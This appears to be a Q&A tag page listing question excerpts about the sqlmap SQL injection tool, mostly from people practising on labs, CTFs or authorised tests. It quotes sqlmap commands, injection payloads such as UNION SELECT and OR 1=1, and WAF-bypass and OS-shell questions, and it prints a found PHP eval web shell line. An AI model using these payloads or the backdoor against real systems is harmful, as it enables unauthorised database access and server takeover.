Questions tagged [sqlmap]

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

Filter by
Sorted by
Tagged with
0 votes
0 answers
33 views

sqlmap UNION query based injection, fix certain column values

I am going through some basic security training involving exploiting an SQL injection in a test service. I am trying to get sqlmap to dump the DB contents. I found a vulnerable endpoint, I can ...
  • 109
0 votes
0 answers
15 views

sqlmap form data is empty

I am scanning my website sqlmap -u http://127.0.0.1/form --forms --random-agent --data="password=NotEmpty" --batch -t logtraffic.txt yet if I open logtraffic.txt I get VIEWSTATE=...
  • 1
0 votes
1 answer
38 views

sqlmap verbose level

pretty much on every resource I go, it says the sqlmap's verbose value -v can be from 1 to 6 and default is 1, I try to look anywhere to see the difference between those values, but I can not find any ...
  • 1
0 votes
1 answer
49 views

How spamming entries in website database using the same IP address is possible?

I am working in a private company as VAPT Auditor. I am currently testing one of our project website which contains common features like login, sign up, etc. I mostly do manual testing using BurpSuite ...
  • 1
0 votes
0 answers
124 views

sqlmap tampered payload doesn't insert correctly

My problem is that I have made my own tampered payload that should convert the actual payload to hex format. You can see from the log that the tampered payload is correct, but in the post data "...
0 votes
0 answers
104 views

Extract data from request response and use it in next request in SQLmap

I want grab some data from response of request and put it in next request post data how to do that? I know that there is postprocess | preprocess features but how they work and how to edit response by ...
  • 1
2 votes
1 answer
185 views

SQLi - how to dump data without knowing table & field names?

A rather specific question, but I'm trying to SQL inject a vulnerable web app to enumerate data. I have permission to do this. The gist of it is there are some params, lets say 4 of them being sent to ...
1 vote
0 answers
113 views

Sql injection extract random bits instead of actual data

I was performing SQL injection through sqlmap and it showed that the parameter is vulnerable but it is only extracting random bits instead of actual data. I am pasting extracted material here. [00:12:...
-1 votes
1 answer
366 views

How to use sqlmap while website uses multiple redirects

I am testing a publicly available site https://example.com/ebill/login.php where I fill the form with account number, like 34413271 and a cookie is assigned for later urls to use, then the above URL ...
  • 59
0 votes
1 answer
164 views

SQLMAP setting parameter

I am testing my own flask application that should be vulnerable. I am using this in SQlmap: sqlmap -u "https://test.heroku.com/checkusername/student*" but the requests with payloads I am ...
0 votes
1 answer
97 views

Why are MySQL injections more limited than MS-SQL attacks?

I was watching the DEFCON 17: Advanced SQL Injection video here. At 15:00, when discussing the various classes and types of SQL injection attackS, the speaker stated With MySQL you really only have ...
0 votes
0 answers
83 views

Encoding javascript cookies in sqlmap

I'm trying to inject cookies that are already encoded in base64 that look like this: XSRF-TOKEN=eyJpdiI6IioiLCJ2YWx1ZSI6IioiLCJtYWMiOiIqIn0= Decoded looks like this: XSRF-TOKEN={"iv":"*&...
  • 1
1 vote
1 answer
1k views

sqlmap is encountering 403 forbidden

I am trying to complete an SQL injection CTF here. I confirmed just adding a single ' mark at the end of the URL caused a MySQL syntax error, and following this tutorial, I could complete this ...
0 votes
0 answers
478 views

How does the --os-shell parameter in Sqlmap work? Is it still anonymous over Tor?

How does the --os-shell parameter in Sqlmap work? I know its uploading a backdoor, but how is Sqlmap uploading it and is the file just a normal reverse shell trojan? Also, is it still anonymous when ...
0 votes
1 answer
88 views

What is the wisdom of using the ASCII function in exploit SQLi?

I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like: SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users ...
1 vote
1 answer
610 views

How secure and anonymous is the --tor parameter in Sqlmap?

How secure and anonymous is the --tor parameter in Sqlmap? Does it really send every request over Tor and does it have any IP/DNS/STUN requests leak loopholes?
0 votes
0 answers
251 views

How to modify a database through SQL injection UNION?

I need help with an sqli exercise. I used sqlmap to find a UNION vulnerability. I managed to get the H2 version with this payload: string') UNION ALL SELECT NULL,H2VERSION(),NULL,NULL,NULL-- But I ...
0 votes
1 answer
630 views

Cloudflare SQLinjection protection

I'm testing for vulnerabilities for a specific site using sqlmap. However, the site has a cloudflare firewall which blocks queries including for example *, ANY or OR. I sort of found a bypass while ...
0 votes
0 answers
444 views

SQLMAP payloads don't work manually, why?

I was trying out SQLMAP on DVWA (medium security for SQL injection), and I did get a set of payloads (sqlmap chucked out a few payloads that should have worked). But entered manually, I couldn't get ...
  • 1
2 votes
1 answer
181 views

API Sql Injection Need help

I need some help with sqli in API. Webserver IIS 8.5 GET request looks like this ... https://example.com/api/Search?q=Landing Response look like this HTTP/1.1 200 OK ... [{"pageId":1,"...
  • 21
0 votes
1 answer
87 views

Sqlmapapi configuring task options

I'm trying to make scans using Sqlmapapi. I have added a new task, and when I call /option/$taskId/list in response, I receive JSON output with options that can be set. I could not find any ...
0 votes
0 answers
1k views

Sqlmap, All tested parameters do not appear to be injectable

I am new to SQLMAP, I have been practicing with the Altoro Mutual portal which is a vulnerable portal, just enter the code 'OR 1 = 1 - in one of its forms (Login) and we will obtain administrator ...
0 votes
1 answer
308 views

Sqlmap won't pick up injection point. Tweak?

I manually found an injection point, on CTF VM, located on POST form. I found it with the following manual payload : 1' OR SLEEP(1)-- t I would like to use sqlmap. I ended with following call : ...
  • 103
0 votes
0 answers
2k views

SQLMap - Invalid character detected. retrying

I recently discovered an time-based blind SQL injection attack on one of the websites. I was able to dump the data with 100 threads (By default, SQLmap doesn't allow more than 10 but, I modified the ...
  • 626
1 vote
1 answer
2k views

Using sqlmap for detecting SQLi on Juice shop's login page

New Sqlmap user, so please be patient :) I've started looking at the tool and I'm curious about its use. For instance, the login page of OWASP's Juice shop is vulnerable to sql injection (' OR 1=1-- ...
1 vote
2 answers
1k views

How to configure SQLMap to attack JSON parameter?

Part of a box I'm doing, I can successfully pass basic SQL query 'or'1'='1 with no errors, {"search":"'or'1'='1"} Output: HTTP/1.0 200 OK Trying to error the query {"search&...
1 vote
0 answers
709 views

Can sqlmap be used to extract data if the attack is blind?

I'm solving this challenge/lab where SQLi is inside the cookie parameter. After solving it manually, I thought to check if it can extract data. I used sqlmap with --cookie=COOKIE* (Notice * that's the ...
  • 11
1 vote
0 answers
837 views

Is it possible to enumerate Microsoft Access database using sqlmap?

I'm trying to enumerate a Microsoft Access database using sqlmap, in particular I run this command: sqlmap -r http.txt --risk 2 --dump-all Anyway it seems is not retrieving a single information. Am I ...
  • 557
1 vote
1 answer
2k views

Sqlmap Sleepy User-Agent

I was testing Burp Suite Crawl on some old php sites I made and it found Sleepy User-Agent SQL injection vulnerability User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, ...
  • 11
0 votes
1 answer
639 views

SQLi Filter Bypass with banned table/column names

I've studying and practicing different approach to SQLi filter bypass and I faced a challenge. What if the WAF filters look for specific strings rather than SQL keywords? Example: Filter: /UNION/ SQLi:...
  • 133
0 votes
0 answers
332 views

Understanding sqlmap's payload for blind sql injection

I am fairly new to sql injections and tried to solve a little hackit to understand everything better. I wasn't able to solve one of the levels so I ran sqlmap to see what it would do. The payloads ...
  • 111
0 votes
0 answers
391 views

Why does sqlmap dump column ids only?

I have accessed a database and using --is-dba , I know that the user IS NOT database admin and also using --privileges , I know that the privileges is USAGE . Now I want to know is this the reason ...
  • 21
2 votes
1 answer
742 views

Paths in web servers

Using sqlmap I was able to gain access to one database and using --current-user and --privileges. I can confirm that the user is root@localhost with full privileges. The part I have problem with is ...
  • 21
1 vote
2 answers
11k views

Never use stored session in sqlmap

I am trying to make sqlmap to avoid fetch data from stored session. How do I achieve that? I have performed sqlmap check once on a target and now that target is offline, I want sqlmap to just stop the ...
-1 votes
1 answer
1k views

How to continue performing checks on a site if sqlmap found an issue on a URL of the same site while using --batch option?

I have a file /tmp/urls which has following URLs: http://127.0.0.1:8081/?id=1 http://127.0.0.1:8081/?id2=1 I am using this command to perform checks on file URLs concurrently: python3 sqlmap.py --...
-1 votes
1 answer
1k views

How can I dump the last row of a table?

Now in order to be familiar with a site's table , I need to dump the last row of a table named "account" . can you please tell me what parameters I can use to dump only the last row of a ...
  • 21
0 votes
1 answer
5k views

sqlmap won't give me results i'm looking for [closed]

I am trying to use sqlmap. Although every time I use it, I just get a response of: [13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS [13:39:11] [...
0 votes
1 answer
1k views

SQLMap Only Returns information_schema

I run this command python sqlmap.py -u https://acme.com/post.php --data "id=1" --tamper="between,randomcase,space2comment" -v 3 --random-agent --dbs but SQLMap only returns ...
0 votes
0 answers
684 views

Sqlmap not detects error based injection

I am working on Hack the VM (hard machine) for my OSCP preparation There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
  • 43
0 votes
0 answers
36 views

.php code in .txt file with eval() function [duplicate]

I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
0 votes
0 answers
241 views

SQLmap automation

I'm automating SQL injection using sqlmap. Is there someone who managed to parse sqlmap console output to only report critical findings (vulnerable pages to SQL injection)? The tool doesn't support ...
0 votes
0 answers
1k views

Sqlmap waf bypass

This is my first post here, sorry for my english. Im making some test around, because i want to learn more about sql injection. Im not really good as manual sql injection, so im using sqlmap. what ...
0 votes
1 answer
3k views

SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error'

I am trying to understand the SQLi so I ran SQLMap with '-vvv' parameter 4: Show also HTTP requests. I did scan one of the vulnerable and 'free to hack' sites. In one of the requests sent, the ...
3 votes
2 answers
10k views

SQLMap Cookie Injectioin with Working Manual SQLi

I'm using an existing exploit which calls for a cookie called wp_sap to be set with the following value: ["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"] This works ...
  • 181
0 votes
1 answer
1k views

SQLMAP Redirect using xampp

I am learning SQLi using sqlmap and xampp. I set up my lab the same way as per tutorial but when I run sqlmap.py -u "http://localhost/bwapp/sqli_1.php?title=1*" the error got 302 redirected to ...
5 votes
3 answers
8k views

Can sqlmap test for SQL injection in Basic Authentication?

I have been trying to make sqlmap test the username parameter in a fake login page that uses basic authentication. However I cannot make it test the Authentication header via the asterisk trick: ...
  • 174
1 vote
0 answers
635 views

SQLMAP with single URL application

I have a local application which will be accessible only after login. Its single URL application, URL of application won't change, just it use 'XMLHttpRequest' to refresh the content of screen based ...
0 votes
0 answers
349 views

Response seems to get redirected if SQL injection query succeeds, if not then it doesn't get redirected

Under the authorization of my friend, I am testing his website against potential vulnerabilities. I was trying to find if I was able to inject a SQL query into a POST request parameter hi' or 1=1 --: ...
0 votes
0 answers
1k views

Is this SQLMap query is correct?

I am practicing on some vulnerable application, and I am asked to find an injection vulnerability with a payload. it states there is a common and simple filter in place. Then I need to extract the ...
  • 121
3 votes
0 answers
816 views

how to get shell from blind sql injection? [closed]

I'm trying to gain access to a web server after I found blind SQLi on the website. I used sqlmap to automate things. I can read the databases and tables. tried to find a way to get a shell from SQL ...